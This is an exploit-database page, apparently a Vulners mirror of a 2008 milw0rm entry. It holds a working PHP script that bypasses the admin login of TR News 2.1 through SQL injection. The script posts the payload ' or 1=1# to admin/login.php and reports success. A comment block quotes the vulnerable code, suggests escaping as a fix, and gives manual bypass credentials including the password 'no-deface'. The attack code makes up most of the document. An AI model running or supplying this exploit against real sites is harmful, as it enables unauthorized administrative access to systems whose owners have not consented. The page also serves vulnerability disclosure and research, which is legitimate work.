Lucene search
K

TR News <= 2.1 (login.php) Remote Login Bypass Exploit

🗓️ 04 Nov 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

TR News <= 2.1 (login.php) Remote Login Bypass Exploit by StAkeR[at]hotmail[dot]it, vulnerable to SQL injectio

Code

                                                &lt;?php

error_reporting(0);

/*
   ------------------------------------------------------
   TR News &lt;= 2.1 (login.php) Remote Login ByPass Exploit
   ------------------------------------------------------
   By StAkeR[at]hotmail[dot]it
   http://www.easy-script.com/scripts-dl/trscript-21.zip

   File admin/login.php
   
   1. &lt;?
   2.	if(isset($_POST['login_ad']) &amp;&amp; ($_POST['password']))
   3.   {
   4.	include(&quot;../include/connexion.php&quot;);
   5.	$login=$_POST[&quot;login_ad&quot;];
   6.	$pass=md5($_POST[&quot;password&quot;]);
   7.	$sql=&quot;SELECT * FROM tr_user_news WHERE pseudo='$login' AND pass='$pass';&quot;;
   8.	$p = mysql_query($sql);
   9.	$row = mysql_fetch_assoc($p);
  10.	$admin = $row['admin'];
  11.	if($admin != 1)
  
  $login = $_POST&quot;login_ad&quot;]; isn't escaped,so you can insert SQL code...
  how to fix? sanize $login with mysql_real_escape_string or htmlentities
  
  
  NOTE:
  
  if the website is vulnerable,you must go to admin/login.php
  
  Username: ' or 1=1#
  Password: no-deface
  
*/

if(preg_match('/http://(.+?)/i',$argv[1]) or empty($argv[1])) athos();

$host = explode('/',$argv[1]);
$auth = &quot;login_ad=%27+or+1%3D1%23&amp;password=athos&quot;;


$data = &quot;POST /$host[1]/admin/login.php HTTP/1.1\r\n&quot;. 
        &quot;Host: $host[0]\r\n&quot;.
        &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;.
        &quot;Content-Length: &quot;.strlen($auth).&quot;\r\n\r\n&quot;.
        &quot;$auth\r\n\r\n&quot;;
  
  
if(!$socket = fsockopen($host[0],80)) die(&quot;fsockopen() error!\n&quot;);  
if(!fputs($socket,$data)) die(&quot;fputs() error!\n&quot;);


while(!feof($socket))
{
  $content .= fgets($socket);
} fclose($socket);

if(preg_match(&quot;/location: main\.php\?mode=main/i&quot;,$content))
{
  exploiting();
  echo &quot;\n[+] Exploit Successfully!\n[+] Site Vulnerable\n&quot;;
  exit;
}
else
{
  exploiting();
  echo &quot;\n[+] Exploit Failed!\n[+] Site Not Vulnerable!\n&quot;;
  exit;
}
  
function athos()
{
  global $argv;
  
  echo &quot;[+] TR News &lt;= 2.1 (login.php) Remote Login ByPass Exploit\n&quot;;
  echo &quot;[+] Usage: php $argv[0] [host/path]\r\n&quot;;
  exit;
}
  
function exploiting()
{
  echo &quot;[+] Exploiting&quot;;

  for($i=0;$i&lt;=3;$i++) 
  {
    echo &quot;.&quot;; 
    sleep(1);
  }
}  

# milw0rm.com [2008-11-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation